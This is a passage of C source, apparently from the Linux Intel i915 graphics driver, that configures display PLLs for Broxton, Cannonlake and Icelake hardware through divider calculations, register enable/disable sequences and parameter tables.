= 0x07; else if (clock > 33000) lanestagger = 0x04; else lanestagger = 0x02; dpll_hw_state->ebb0 = PORT_PLL_P1(clk_div->p1) | PORT_PLL_P2(clk_div->p2); dpll_hw_state->pll0 = clk_div->m2_int; dpll_hw_state->pll1 = PORT_PLL_N(clk_div->n); dpll_hw_state->pll2 = clk_div->m2_frac; if (clk_div->m2_frac_en) dpll_hw_state->pll3 = PORT_PLL_M2_FRAC_ENABLE; dpll_hw_state->pll6 = prop_coef | PORT_PLL_INT_COEFF(int_coef); dpll_hw_state->pll6 |= PORT_PLL_GAIN_CTL(gain_ctl); dpll_hw_state->pll8 = targ_cnt; dpll_hw_state->pll9 = 5 << PORT_PLL_LOCK_THRESHOLD_SHIFT; dpll_hw_state->pll10 = PORT_PLL_DCO_AMP(PORT_PLL_DCO_AMP_DEFAULT) | PORT_PLL_DCO_AMP_OVR_EN_H; dpll_hw_state->ebb4 = PORT_PLL_10BIT_CLK_ENABLE; dpll_hw_state->pcsdw12 = LANESTAGGER_STRAP_OVRD | lanestagger; return true; } static bool bxt_ddi_dp_set_dpll_hw_state(int clock, struct intel_dpll_hw_state *dpll_hw_state) { struct bxt_clk_div clk_div = {0}; bxt_ddi_dp_pll_dividers(clock, &clk_div); return bxt_ddi_set_dpll_hw_state(clock, &clk_div, dpll_hw_state); } static bool bxt_ddi_hdmi_set_dpll_hw_state(struct intel_crtc *intel_crtc, struct intel_crtc_state *crtc_state, int clock, struct intel_dpll_hw_state *dpll_hw_state) { struct bxt_clk_div clk_div = { }; bxt_ddi_hdmi_pll_dividers(intel_crtc, crtc_state, clock, &clk_div); return bxt_ddi_set_dpll_hw_state(clock, &clk_div, dpll_hw_state); } static struct intel_shared_dpll * bxt_get_dpll(struct intel_crtc *crtc, struct intel_crtc_state *crtc_state, struct intel_encoder *encoder) { struct intel_dpll_hw_state dpll_hw_state = { }; struct drm_i915_private *dev_priv = to_i915(crtc->base.dev); struct intel_shared_dpll *pll; int i, clock = crtc_state->port_clock; if (intel_crtc_has_type(crtc_state, INTEL_OUTPUT_HDMI) && !bxt_ddi_hdmi_set_dpll_hw_state(crtc, crtc_state, clock, &dpll_hw_state)) return NULL; if (intel_crtc_has_dp_encoder(crtc_state) && !bxt_ddi_dp_set_dpll_hw_state(clock, &dpll_hw_state)) return NULL; memset(&crtc_state->dpll_hw_state, 0, sizeof(crtc_state->dpll_hw_state)); crtc_state->dpll_hw_state = dpll_hw_state; /* 1:1 mapping between ports and PLLs */ i = (enum intel_dpll_id) encoder->port; pll = intel_get_shared_dpll_by_id(dev_priv, i); DRM_DEBUG_KMS("[CRTC:%d:%s] using pre-allocated %s\n", crtc->base.base.id, crtc->base.name, pll->info->name); intel_reference_shared_dpll(pll, crtc_state); return pll; } static void bxt_dump_hw_state(struct drm_i915_private *dev_priv, struct intel_dpll_hw_state *hw_state) { DRM_DEBUG_KMS("dpll_hw_state: ebb0: 0x%x, ebb4: 0x%x," "pll0: 0x%x, pll1: 0x%x, pll2: 0x%x, pll3: 0x%x, " "pll6: 0x%x, pll8: 0x%x, pll9: 0x%x, pll10: 0x%x, pcsdw12: 0x%x\n", hw_state->ebb0, hw_state->ebb4, hw_state->pll0, hw_state->pll1, hw_state->pll2, hw_state->pll3, hw_state->pll6, hw_state->pll8, hw_state->pll9, hw_state->pll10, hw_state->pcsdw12); } static const struct intel_shared_dpll_funcs bxt_ddi_pll_funcs = { .enable = bxt_ddi_pll_enable, .disable = bxt_ddi_pll_disable, .get_hw_state = bxt_ddi_pll_get_hw_state, }; static void intel_ddi_pll_init(struct drm_device *dev) { struct drm_i915_private *dev_priv = to_i915(dev); if (INTEL_GEN(dev_priv) < 9) { uint32_t val = I915_READ(LCPLL_CTL); /* * The LCPLL register should be turned on by the BIOS. For now * let's just check its state and print errors in case * something is wrong. Don't even try to turn it on. */ if (val & LCPLL_CD_SOURCE_FCLK) DRM_ERROR("CDCLK source is not LCPLL\n"); if (val & LCPLL_PLL_DISABLE) DRM_ERROR("LCPLL is disabled\n"); } } struct intel_dpll_mgr { const struct dpll_info *dpll_info; struct intel_shared_dpll *(*get_dpll)(struct intel_crtc *crtc, struct intel_crtc_state *crtc_state, struct intel_encoder *encoder); void (*dump_hw_state)(struct drm_i915_private *dev_priv, struct intel_dpll_hw_state *hw_state); }; static const struct dpll_info pch_plls[] = { { "PCH DPLL A", &ibx_pch_dpll_funcs, DPLL_ID_PCH_PLL_A, 0 }, { "PCH DPLL B", &ibx_pch_dpll_funcs, DPLL_ID_PCH_PLL_B, 0 }, { }, }; static const struct intel_dpll_mgr pch_pll_mgr = { .dpll_info = pch_plls, .get_dpll = ibx_get_dpll, .dump_hw_state = ibx_dump_hw_state, }; static const struct dpll_info hsw_plls[] = { { "WRPLL 1", &hsw_ddi_wrpll_funcs, DPLL_ID_WRPLL1, 0 }, { "WRPLL 2", &hsw_ddi_wrpll_funcs, DPLL_ID_WRPLL2, 0 }, { "SPLL", &hsw_ddi_spll_funcs, DPLL_ID_SPLL, 0 }, { "LCPLL 810", &hsw_ddi_lcpll_funcs, DPLL_ID_LCPLL_810, INTEL_DPLL_ALWAYS_ON }, { "LCPLL 1350", &hsw_ddi_lcpll_funcs, DPLL_ID_LCPLL_1350, INTEL_DPLL_ALWAYS_ON }, { "LCPLL 2700", &hsw_ddi_lcpll_funcs, DPLL_ID_LCPLL_2700, INTEL_DPLL_ALWAYS_ON }, { }, }; static const struct intel_dpll_mgr hsw_pll_mgr = { .dpll_info = hsw_plls, .get_dpll = hsw_get_dpll, .dump_hw_state = hsw_dump_hw_state, }; static const struct dpll_info skl_plls[] = { { "DPLL 0", &skl_ddi_dpll0_funcs, DPLL_ID_SKL_DPLL0, INTEL_DPLL_ALWAYS_ON }, { "DPLL 1", &skl_ddi_pll_funcs, DPLL_ID_SKL_DPLL1, 0 }, { "DPLL 2", &skl_ddi_pll_funcs, DPLL_ID_SKL_DPLL2, 0 }, { "DPLL 3", &skl_ddi_pll_funcs, DPLL_ID_SKL_DPLL3, 0 }, { }, }; static const struct intel_dpll_mgr skl_pll_mgr = { .dpll_info = skl_plls, .get_dpll = skl_get_dpll, .dump_hw_state = skl_dump_hw_state, }; static const struct dpll_info bxt_plls[] = { { "PORT PLL A", &bxt_ddi_pll_funcs, DPLL_ID_SKL_DPLL0, 0 }, { "PORT PLL B", &bxt_ddi_pll_funcs, DPLL_ID_SKL_DPLL1, 0 }, { "PORT PLL C", &bxt_ddi_pll_funcs, DPLL_ID_SKL_DPLL2, 0 }, { }, }; static const struct intel_dpll_mgr bxt_pll_mgr = { .dpll_info = bxt_plls, .get_dpll = bxt_get_dpll, .dump_hw_state = bxt_dump_hw_state, }; static void cnl_ddi_pll_enable(struct drm_i915_private *dev_priv, struct intel_shared_dpll *pll) { const enum intel_dpll_id id = pll->info->id; uint32_t val; /* 1. Enable DPLL power in DPLL_ENABLE. */ val = I915_READ(CNL_DPLL_ENABLE(id)); val |= PLL_POWER_ENABLE; I915_WRITE(CNL_DPLL_ENABLE(id), val); /* 2. Wait for DPLL power state enabled in DPLL_ENABLE. */ if (intel_wait_for_register(dev_priv, CNL_DPLL_ENABLE(id), PLL_POWER_STATE, PLL_POWER_STATE, 5)) DRM_ERROR("PLL %d Power not enabled\n", id); /* * 3. Configure DPLL_CFGCR0 to set SSC enable/disable, * select DP mode, and set DP link rate. */ val = pll->state.hw_state.cfgcr0; I915_WRITE(CNL_DPLL_CFGCR0(id), val); /* 4. Reab back to ensure writes completed */ POSTING_READ(CNL_DPLL_CFGCR0(id)); /* 3. Configure DPLL_CFGCR0 */ /* Avoid touch CFGCR1 if HDMI mode is not enabled */ if (pll->state.hw_state.cfgcr0 & DPLL_CFGCR0_HDMI_MODE) { val = pll->state.hw_state.cfgcr1; I915_WRITE(CNL_DPLL_CFGCR1(id), val); /* 4. Reab back to ensure writes completed */ POSTING_READ(CNL_DPLL_CFGCR1(id)); } /* * 5. If the frequency will result in a change to the voltage * requirement, follow the Display Voltage Frequency Switching * Sequence Before Frequency Change * * Note: DVFS is actually handled via the cdclk code paths, * hence we do nothing here. */ /* 6. Enable DPLL in DPLL_ENABLE. */ val = I915_READ(CNL_DPLL_ENABLE(id)); val |= PLL_ENABLE; I915_WRITE(CNL_DPLL_ENABLE(id), val); /* 7. Wait for PLL lock status in DPLL_ENABLE. */ if (intel_wait_for_register(dev_priv, CNL_DPLL_ENABLE(id), PLL_LOCK, PLL_LOCK, 5)) DRM_ERROR("PLL %d not locked\n", id); /* * 8. If the frequency will result in a change to the voltage * requirement, follow the Display Voltage Frequency Switching * Sequence After Frequency Change * * Note: DVFS is actually handled via the cdclk code paths, * hence we do nothing here. */ /* * 9. turn on the clock for the DDI and map the DPLL to the DDI * Done at intel_ddi_clk_select */ } static void cnl_ddi_pll_disable(struct drm_i915_private *dev_priv, struct intel_shared_dpll *pll) { const enum intel_dpll_id id = pll->info->id; uint32_t val; /* * 1. Configure DPCLKA_CFGCR0 to turn off the clock for the DDI. * Done at intel_ddi_post_disable */ /* * 2. If the frequency will result in a change to the voltage * requirement, follow the Display Voltage Frequency Switching * Sequence Before Frequency Change * * Note: DVFS is actually handled via the cdclk code paths, * hence we do nothing here. */ /* 3. Disable DPLL through DPLL_ENABLE. */ val = I915_READ(CNL_DPLL_ENABLE(id)); val &= ~PLL_ENABLE; I915_WRITE(CNL_DPLL_ENABLE(id), val); /* 4. Wait for PLL not locked status in DPLL_ENABLE. */ if (intel_wait_for_register(dev_priv, CNL_DPLL_ENABLE(id), PLL_LOCK, 0, 5)) DRM_ERROR("PLL %d locked\n", id); /* * 5. If the frequency will result in a change to the voltage * requirement, follow the Display Voltage Frequency Switching * Sequence After Frequency Change * * Note: DVFS is actually handled via the cdclk code paths, * hence we do nothing here. */ /* 6. Disable DPLL power in DPLL_ENABLE. */ val = I915_READ(CNL_DPLL_ENABLE(id)); val &= ~PLL_POWER_ENABLE; I915_WRITE(CNL_DPLL_ENABLE(id), val); /* 7. Wait for DPLL power state disabled in DPLL_ENABLE. */ if (intel_wait_for_register(dev_priv, CNL_DPLL_ENABLE(id), PLL_POWER_STATE, 0, 5)) DRM_ERROR("PLL %d Power not disabled\n", id); } static bool cnl_ddi_pll_get_hw_state(struct drm_i915_private *dev_priv, struct intel_shared_dpll *pll, struct intel_dpll_hw_state *hw_state) { const enum intel_dpll_id id = pll->info->id; uint32_t val; bool ret; if (!intel_display_power_get_if_enabled(dev_priv, POWER_DOMAIN_PLLS)) return false; ret = false; val = I915_READ(CNL_DPLL_ENABLE(id)); if (!(val & PLL_ENABLE)) goto out; val = I915_READ(CNL_DPLL_CFGCR0(id)); hw_state->cfgcr0 = val; /* avoid reading back stale values if HDMI mode is not enabled */ if (val & DPLL_CFGCR0_HDMI_MODE) { hw_state->cfgcr1 = I915_READ(CNL_DPLL_CFGCR1(id)); } ret = true; out: intel_display_power_put(dev_priv, POWER_DOMAIN_PLLS); return ret; } static void cnl_wrpll_get_multipliers(int bestdiv, int *pdiv, int *qdiv, int *kdiv) { /* even dividers */ if (bestdiv % 2 == 0) { if (bestdiv == 2) { *pdiv = 2; *qdiv = 1; *kdiv = 1; } else if (bestdiv % 4 == 0) { *pdiv = 2; *qdiv = bestdiv / 4; *kdiv = 2; } else if (bestdiv % 6 == 0) { *pdiv = 3; *qdiv = bestdiv / 6; *kdiv = 2; } else if (bestdiv % 5 == 0) { *pdiv = 5; *qdiv = bestdiv / 10; *kdiv = 2; } else if (bestdiv % 14 == 0) { *pdiv = 7; *qdiv = bestdiv / 14; *kdiv = 2; } } else { if (bestdiv == 3 || bestdiv == 5 || bestdiv == 7) { *pdiv = bestdiv; *qdiv = 1; *kdiv = 1; } else { /* 9, 15, 21 */ *pdiv = bestdiv / 3; *qdiv = 1; *kdiv = 3; } } } static void cnl_wrpll_params_populate(struct skl_wrpll_params *params, u32 dco_freq, u32 ref_freq, int pdiv, int qdiv, int kdiv) { u32 dco; switch (kdiv) { case 1: params->kdiv = 1; break; case 2: params->kdiv = 2; break; case 3: params->kdiv = 4; break; default: WARN(1, "Incorrect KDiv\n"); } switch (pdiv) { case 2: params->pdiv = 1; break; case 3: params->pdiv = 2; break; case 5: params->pdiv = 4; break; case 7: params->pdiv = 8; break; default: WARN(1, "Incorrect PDiv\n"); } WARN_ON(kdiv != 2 && qdiv != 1); params->qdiv_ratio = qdiv; params->qdiv_mode = (qdiv == 1) ? 0 : 1; dco = div_u64((u64)dco_freq << 15, ref_freq); params->dco_integer = dco >> 15; params->dco_fraction = dco & 0x7fff; } int cnl_hdmi_pll_ref_clock(struct drm_i915_private *dev_priv) { int ref_clock = dev_priv->cdclk.hw.ref; /* * For ICL+, the spec states: if reference frequency is 38.4, * use 19.2 because the DPLL automatically divides that by 2. */ if (INTEL_GEN(dev_priv) >= 11 && ref_clock == 38400) ref_clock = 19200; return ref_clock; } static bool cnl_ddi_calculate_wrpll(int clock, struct drm_i915_private *dev_priv, struct skl_wrpll_params *wrpll_params) { u32 afe_clock = clock * 5; uint32_t ref_clock; u32 dco_min = 7998000; u32 dco_max = 10000000; u32 dco_mid = (dco_min + dco_max) / 2; static const int dividers[] = { 2, 4, 6, 8, 10, 12, 14, 16, 18, 20, 24, 28, 30, 32, 36, 40, 42, 44, 48, 50, 52, 54, 56, 60, 64, 66, 68, 70, 72, 76, 78, 80, 84, 88, 90, 92, 96, 98, 100, 102, 3, 5, 7, 9, 15, 21 }; u32 dco, best_dco = 0, dco_centrality = 0; u32 best_dco_centrality = U32_MAX; /* Spec meaning of 999999 MHz */ int d, best_div = 0, pdiv = 0, qdiv = 0, kdiv = 0; for (d = 0; d < ARRAY_SIZE(dividers); d++) { dco = afe_clock * dividers[d]; if ((dco <= dco_max) && (dco >= dco_min)) { dco_centrality = abs(dco - dco_mid); if (dco_centrality < best_dco_centrality) { best_dco_centrality = dco_centrality; best_div = dividers[d]; best_dco = dco; } } } if (best_div == 0) return false; cnl_wrpll_get_multipliers(best_div, &pdiv, &qdiv, &kdiv); ref_clock = cnl_hdmi_pll_ref_clock(dev_priv); cnl_wrpll_params_populate(wrpll_params, best_dco, ref_clock, pdiv, qdiv, kdiv); return true; } static bool cnl_ddi_hdmi_pll_dividers(struct intel_crtc *crtc, struct intel_crtc_state *crtc_state, int clock) { struct drm_i915_private *dev_priv = to_i915(crtc->base.dev); uint32_t cfgcr0, cfgcr1; struct skl_wrpll_params wrpll_params = { 0, }; cfgcr0 = DPLL_CFGCR0_HDMI_MODE; if (!cnl_ddi_calculate_wrpll(clock, dev_priv, &wrpll_params)) return false; cfgcr0 |= DPLL_CFGCR0_DCO_FRACTION(wrpll_params.dco_fraction) | wrpll_params.dco_integer; cfgcr1 = DPLL_CFGCR1_QDIV_RATIO(wrpll_params.qdiv_ratio) | DPLL_CFGCR1_QDIV_MODE(wrpll_params.qdiv_mode) | DPLL_CFGCR1_KDIV(wrpll_params.kdiv) | DPLL_CFGCR1_PDIV(wrpll_params.pdiv) | DPLL_CFGCR1_CENTRAL_FREQ; memset(&crtc_state->dpll_hw_state, 0, sizeof(crtc_state->dpll_hw_state)); crtc_state->dpll_hw_state.cfgcr0 = cfgcr0; crtc_state->dpll_hw_state.cfgcr1 = cfgcr1; return true; } static bool cnl_ddi_dp_set_dpll_hw_state(int clock, struct intel_dpll_hw_state *dpll_hw_state) { uint32_t cfgcr0; cfgcr0 = DPLL_CFGCR0_SSC_ENABLE; switch (clock / 2) { case 81000: cfgcr0 |= DPLL_CFGCR0_LINK_RATE_810; break; case 135000: cfgcr0 |= DPLL_CFGCR0_LINK_RATE_1350; break; case 270000: cfgcr0 |= DPLL_CFGCR0_LINK_RATE_2700; break; /* eDP 1.4 rates */ case 162000: cfgcr0 |= DPLL_CFGCR0_LINK_RATE_1620; break; case 108000: cfgcr0 |= DPLL_CFGCR0_LINK_RATE_1080; break; case 216000: cfgcr0 |= DPLL_CFGCR0_LINK_RATE_2160; break; case 324000: /* Some SKUs may require elevated I/O voltage to support this */ cfgcr0 |= DPLL_CFGCR0_LINK_RATE_3240; break; case 405000: /* Some SKUs may require elevated I/O voltage to support this */ cfgcr0 |= DPLL_CFGCR0_LINK_RATE_4050; break; } dpll_hw_state->cfgcr0 = cfgcr0; return true; } static struct intel_shared_dpll * cnl_get_dpll(struct intel_crtc *crtc, struct intel_crtc_state *crtc_state, struct intel_encoder *encoder) { struct intel_shared_dpll *pll; int clock = crtc_state->port_clock; bool bret; struct intel_dpll_hw_state dpll_hw_state; memset(&dpll_hw_state, 0, sizeof(dpll_hw_state)); if (intel_crtc_has_type(crtc_state, INTEL_OUTPUT_HDMI)) { bret = cnl_ddi_hdmi_pll_dividers(crtc, crtc_state, clock); if (!bret) { DRM_DEBUG_KMS("Could not get HDMI pll dividers.\n"); return NULL; } } else if (intel_crtc_has_dp_encoder(crtc_state)) { bret = cnl_ddi_dp_set_dpll_hw_state(clock, &dpll_hw_state); if (!bret) { DRM_DEBUG_KMS("Could not set DP dpll HW state.\n"); return NULL; } crtc_state->dpll_hw_state = dpll_hw_state; } else { DRM_DEBUG_KMS("Skip DPLL setup for output_types 0x%x\n", crtc_state->output_types); return NULL; } pll = intel_find_shared_dpll(crtc, crtc_state, DPLL_ID_SKL_DPLL0, DPLL_ID_SKL_DPLL2); if (!pll) { DRM_DEBUG_KMS("No PLL selected\n"); return NULL; } intel_reference_shared_dpll(pll, crtc_state); return pll; } static void cnl_dump_hw_state(struct drm_i915_private *dev_priv, struct intel_dpll_hw_state *hw_state) { DRM_DEBUG_KMS("dpll_hw_state: " "cfgcr0: 0x%x, cfgcr1: 0x%x\n", hw_state->cfgcr0, hw_state->cfgcr1); } static const struct intel_shared_dpll_funcs cnl_ddi_pll_funcs = { .enable = cnl_ddi_pll_enable, .disable = cnl_ddi_pll_disable, .get_hw_state = cnl_ddi_pll_get_hw_state, }; static const struct dpll_info cnl_plls[] = { { "DPLL 0", &cnl_ddi_pll_funcs, DPLL_ID_SKL_DPLL0, 0 }, { "DPLL 1", &cnl_ddi_pll_funcs, DPLL_ID_SKL_DPLL1, 0 }, { "DPLL 2", &cnl_ddi_pll_funcs, DPLL_ID_SKL_DPLL2, 0 }, { }, }; static const struct intel_dpll_mgr cnl_pll_mgr = { .dpll_info = cnl_plls, .get_dpll = cnl_get_dpll, .dump_hw_state = cnl_dump_hw_state, }; /* * These values alrea already adjusted: they're the bits we write to the * registers, not the logical values. */ static const struct skl_wrpll_params icl_dp_combo_pll_24MHz_values[] = { { .dco_integer = 0x151, .dco_fraction = 0x4000, /* [0]: 5.4 */ .pdiv = 0x2 /* 3 */, .kdiv = 1, .qdiv_mode = 0, .qdiv_ratio = 0}, { .dco_integer = 0x151, .dco_fraction = 0x4000, /* [1]: 2.7 */ .pdiv = 0x2 /* 3 */, .kdiv = 2, .qdiv_mode = 0, .qdiv_ratio = 0}, { .dco_integer = 0x151, .dco_fraction = 0x4000, /* [2]: 1.62 */ .pdiv = 0x4 /* 5 */, .kdiv = 2, .qdiv_mode = 0, .qdiv_ratio = 0}, { .dco_integer = 0x151, .dco_fraction = 0x4000, /* [3]: 3.24 */ .pdiv = 0x4 /* 5 */, .kdiv = 1, .qdiv_mode = 0, .qdiv_ratio = 0}, { .dco_integer = 0x168, .dco_fraction = 0x0000, /* [4]: 2.16 */ .pdiv = 0x1 /* 2 */, .kdiv = 2, .qdiv_mode = 1, .qdiv_ratio = 2}, { .dco_integer = 0x168, .dco_fraction = 0x0000, /* [5]: 4.32 */ .pdiv = 0x1 /* 2 */, .kdiv = 2, .qdiv_mode = 0, .qdiv_ratio = 0}, { .dco_integer = 0x195, .dco_fraction = 0x0000, /* [6]: 6.48 */ .pdiv = 0x2 /* 3 */, .kdiv = 1, .qdiv_mode = 0, .qdiv_ratio = 0}, { .dco_integer = 0x151, .dco_fraction = 0x4000, /* [7]: 8.1 */ .pdiv = 0x1 /* 2 */, .kdiv = 1, .qdiv_mode = 0, .qdiv_ratio = 0}, }; /* Also used for 38.4 MHz values. */ static const struct skl_wrpll_params icl_dp_combo_pll_19_2MHz_values[] = { { .dco_integer = 0x1A5, .dco_fraction = 0x7000, /* [0]: 5.4 */ .pdiv = 0x2 /* 3 */, .kdiv = 1, .qdiv_mode = 0, .qdiv_ratio = 0}, { .dco_integer = 0x1A5, .dco_fraction = 0x7000, /* [1]: 2.7 */ .pdiv = 0x2 /* 3 */, .kdiv = 2, .qdiv_mode = 0, .qdiv_ratio = 0}, { .dco_integer = 0x1A5, .dco_fraction = 0x7000, /* [2]: 1.62 */ .pdiv = 0x4 /* 5 */, .kdiv = 2, .qdiv_mode = 0, .qdiv_ratio = 0}, { .dco_integer = 0x1A5, .dco_fraction = 0x7000, /* [3]: 3.24 */ .pdiv = 0x4 /* 5 */, .kdiv = 1, .qdiv_mode = 0, .qdiv_ratio = 0}, { .dco_integer = 0x1C2, .dco_fraction = 0x0000, /* [4]: 2.16 */ .pdiv = 0x1 /* 2 */, .kdiv = 2, .qdiv_mode = 1, .qdiv_ratio = 2}, { .dco_integer = 0x1C2, .dco_fraction = 0x0000, /* [5]: 4.32 */ .pdiv = 0x1 /* 2 */, .kdiv = 2, .qdiv_mode = 0, .qdiv_ratio = 0}, { .dco_integer = 0x1FA, .dco_fraction = 0x2000, /* [6]: 6.48 */ .pdiv = 0x2 /* 3 */, .kdiv = 1, .qdiv_mode = 0, .qdiv_ratio = 0}, { .dco_integer = 0x1A5, .dco_fraction = 0x7000, /* [7]: 8.1 */ .pdiv = 0x1 /* 2 */, .kdiv = 1, .qdiv_mode = 0, .qdiv_ratio = 0}, }; static const struct skl_wrpll_params icl_tbt_pll_24MHz_values = { .dco_integer = 0x151, .dco_fraction = 0x4000, .pdiv = 0x4 /* 5 */, .kdiv = 1, .qdiv_mode = 0, .qdiv_ratio = 0, }; static const struct skl_wrpll_params icl_tbt_pll_19_2MHz_values = { .dco_integer = 0x1A5, .dco_fraction = 0x7000, .pdiv = 0x4 /* 5 */, .kdiv = 1, .qdiv_mode = 0, .qdiv_ratio = 0, }; static bool icl_calc_dp_combo_pll(struct drm_i915_private *dev_priv, int clock, struct skl_wrpll_params *pll_params) { const struct skl_wrpll_params *params; params = dev_priv->cdclk.hw.ref == 24000 ? icl_dp_combo_pll_24MHz_values : icl_dp_combo_pll_19_2MHz_values; switch (clock) { case 540000: *pll_params = params[0]; break; case 270000: *pll_params = params[1]; break; case 162000: *pll_params = params[2]; break; case 324000: *pll_params = params[3]; break; case 216000: *pll_params = params[4]; break; case 432000: *pll_params = params[5]; break; case 648000: *pll_params = params[6]; break; case 810000: *pll_params = params[7]; break; default: MISSING_CASE(clock); return false; } return true; } static bool icl_calc_tbt_pll(struct drm_i915_private *dev_priv, int clock, struct skl_wrpll_params *pll_params) { *pll_params = dev_priv->cdclk.hw.ref == 24000 ? icl_tbt_pll_24MHz_values : icl_tbt_pll_19_2MHz_values; return true; } static bool icl_calc_dpll_state(struct intel_crtc_state *crtc_state, struct intel_encoder *encoder, int clock, struct intel_dpll_hw_state *pll_state) { struct drm_i915_private *dev_priv = to_i915(encoder->base.dev); uint32_t cfgcr0, cfgcr1; struct skl_wrpll_params pll_params = { 0 }; bool ret; if (intel_port_is_tc(dev_priv, encoder->port)) ret = icl_calc_tbt_pll(dev_priv, clock, &pll_params); else if (intel_crtc_has_type(crtc_state, INTEL_OUTPUT_HDMI) || intel_crtc_has_type(crtc_state, INTEL_OUTPUT_DSI)) ret = cnl_ddi_calculate_wrpll(clock, dev_priv, &pll_params); else ret = icl_calc_dp_combo_pll(dev_priv, clock, &pll_params); if (!ret) return false; cfgcr0 = DPLL_CFGCR0_DCO_FRACTION(pll_params.dco_fraction) | pll_params.dco_integer; cfgcr1 = DPLL_CFGCR1_QDIV_RATIO(pll_params.qdiv_ratio) | DPLL_CFGCR1_QDIV_MODE(pll_params.qdiv_mode) | DPLL_CFGCR1_KDIV(pll_params.kdiv) | DPLL_CFGCR1_PDIV(pll_params.pdiv) | DPLL_CFGCR1_CENTRAL_FREQ_8400; pll_state->cfgcr0 = cfgcr0; pll_state->cfgcr1 = cfgcr1; return true; } int icl_calc_dp_combo_pll_link(struct drm_i915_private *dev_priv, uint32_t pll_id) { uint32_t cfgcr0, cfgcr1; uint32_t pdiv, kdiv, qdiv_mode, qdiv_ratio, dco_integer, dco_fraction; const struct skl_wrpll_params *params; int index, n_entries, link_clock; /* Read back values from DPLL CFGCR registers */ cfgcr0 = I915_READ(ICL_DPLL_CFGCR0(pll_id)); cfgcr1 = I915_READ(ICL_DPLL_CFGCR1(pll_id)); dco_integer = cfgcr0 & DPLL_CFGCR0_DCO_INTEGER_MASK; dco_fraction = (cfgcr0 & DPLL_CFGCR0_DCO_FRACTION_MASK) >> DPLL_CFGCR0_DCO_FRACTION_SHIFT; pdiv = (cfgcr1 & DPLL_CFGCR1_PDIV_MASK) >> DPLL_CFGCR1_PDIV_SHIFT; kdiv = (cfgcr1 & DPLL_CFGCR1_KDIV_MASK) >> DPLL_CFGCR1_KDIV_SHIFT; qdiv_mode = (cfgcr1 & DPLL_CFGCR1_QDIV_MODE(1)) >> DPLL_CFGCR1_QDIV_MODE_SHIFT; qdiv_ratio = (cfgcr1 & DPLL_CFGCR1_QDIV_RATIO_MASK) >> DPLL_CFGCR1_QDIV_RATIO_SHIFT; params = dev_priv->cdclk.hw.ref == 24000 ? icl_dp_combo_pll_24MHz_values : icl_dp_combo_pll_19_2MHz_values; n_entries = ARRAY_SIZE(icl_dp_combo_pll_24MHz_values); for (index = 0; index < n_entries; index++) { if (dco_integer == params[index].dco_integer && dco_fraction == params[index].dco_fraction && pdiv == params[index].pdiv && kdiv == params[index].kdiv && qdiv_mode == params[index].qdiv_mode && qdiv_ratio == params[index].qdiv_ratio) break; } /* Map PLL Index to Link Clock */ switch (index) { default: MISSING_CASE(index); /* fall through */ case 0: link_clock = 540000; break; case 1: link_clock = 270000; break; case 2: link_clock = 162000; break; case 3: link_clock = 324000; break; case 4: link_clock = 216000; break; case 5: link_clock = 432000; break; case 6: link_clock = 648000; break; case 7: link_clock = 810000; break; } return link_clock; } static enum port icl_mg_pll_id_to_port(enum intel_dpll_id id) { return id - DPLL_ID_ICL_MGPLL1 + PORT_C; } enum intel_dpll_id icl_port_to_mg_pll_id(enum port port) { return port - PORT_C + DPLL_ID_ICL_MGPLL1; } bool intel_dpll_is_combophy(enum intel_dpll_id id) { return id == DPLL_ID_ICL_DPLL0 || id == DPLL_ID_ICL_DPLL1; } static bool icl_mg_pll_find_divisors(int clock_khz, bool is_dp, bool use_ssc, uint32_t *target_dco_khz, struct intel_dpll_hw_state *state) { uint32_t dco_min_freq, dco_max_freq; int div1_vals[] = {7, 5, 3, 2}; unsigned int i; int div2; dco_min_freq = is_dp ? 8100000 : use_ssc ? 8000000 : 7992000; dco_max_freq = is_dp ? 8100000 : 10000000; for (i = 0; i < ARRAY_SIZE(div1_vals); i++) { int div1 = div1_vals[i]; for (div2 = 10; div2 > 0; div2--) { int dco = div1 * div2 * clock_khz * 5; int a_divratio, tlinedrv, inputsel; u32 hsdiv; if (dco < dco_min_freq || dco > dco_max_freq) continue; if (div2 >= 2) { a_divratio = is_dp ? 10 : 5; tlinedrv = 2; } else { a_divratio = 5; tlinedrv = 0; } inputsel = is_dp ? 0 : 1; switch (div1) { default: MISSING_CASE(div1); /* fall through */ case 2: hsdiv = MG_CLKTOP2_HSCLKCTL_HSDIV_RATIO_2; break; case 3: hsdiv = MG_CLKTOP2_HSCLKCTL_HSDIV_RATIO_3; break; case 5: hsdiv = MG_CLKTOP2_HSCLKCTL_HSDIV_RATIO_5; break; case 7: hsdiv = MG_CLKTOP2_HSCLKCTL_HSDIV_RATIO_7; break; } *target_dco_khz = dco; state->mg_refclkin_ctl = MG_REFCLKIN_CTL_OD_2_MUX(1); state->mg_clktop2_coreclkctl1 = MG_CLKTOP2_CORECLKCTL1_A_DIVRATIO(a_divratio); state->mg_clktop2_hsclkctl = MG_CLKTOP2_HSCLKCTL_TLINEDRV_CLKSEL(tlinedrv) | MG_CLKTOP2_HSCLKCTL_CORE_INPUTSEL(inputsel) | hsdiv | MG_CLKTOP2_HSCLKCTL_DSDIV_RATIO(div2); return true; } } return false; } /* * The specification for this function uses real numbers, so the math had to be * adapted to integer-only calculation, that's why it looks so different. */ static bool icl_calc_mg_pll_state(struct intel_crtc_state *crtc_state, struct intel_encoder *encoder, int clock, struct intel_dpll_hw_state *pll_state) { struct drm_i915_private *dev_priv = to_i915(encoder->base.dev); int refclk_khz = dev_priv->cdclk.hw.ref; uint32_t dco_khz, m1div, m2div_int, m2div_rem, m2div_frac; uint32_t iref_ndiv, iref_trim, iref_pulse_w; uint32_t prop_coeff, int_coeff; uint32_t tdc_targetcnt, feedfwgain; uint64_t ssc_stepsize, ssc_steplen, ssc_steplog; uint64_t tmp; bool use_ssc = false; bool is_dp = !intel_crtc_has_type(crtc_state, INTEL_OUTPUT_HDMI); if (!icl_mg_pll_find_divisors(clock, is_dp, use_ssc, &dco_khz, pll_state)) { DRM_DEBUG_KMS("Failed to find divisors for clock %d\n", clock); return false; } m1div = 2; m2div_int = dco_khz / (refclk_khz * m1div); if (m2div_int > 255) { m1div = 4; m2div_int = dco_khz / (refclk_khz * m1div); if (m2div_int > 255) { DRM_DEBUG_KMS("Failed to find mdiv for clock %d\n", clock); return false; } } m2div_rem = dco_khz % (refclk_khz * m1div); tmp = (uint64_t)m2div_rem * (1 << 22); do_div(tmp, refclk_khz * m1div); m2div_frac = tmp; switch (refclk_khz) { case 19200: iref_ndiv = 1; iref_trim = 28; iref_pulse_w = 1; break; case 24000: iref_ndiv = 1; iref_trim = 25; iref_pulse_w = 2; break; case 38400: iref_ndiv = 2; iref_trim = 28; iref_pulse_w = 1; break; 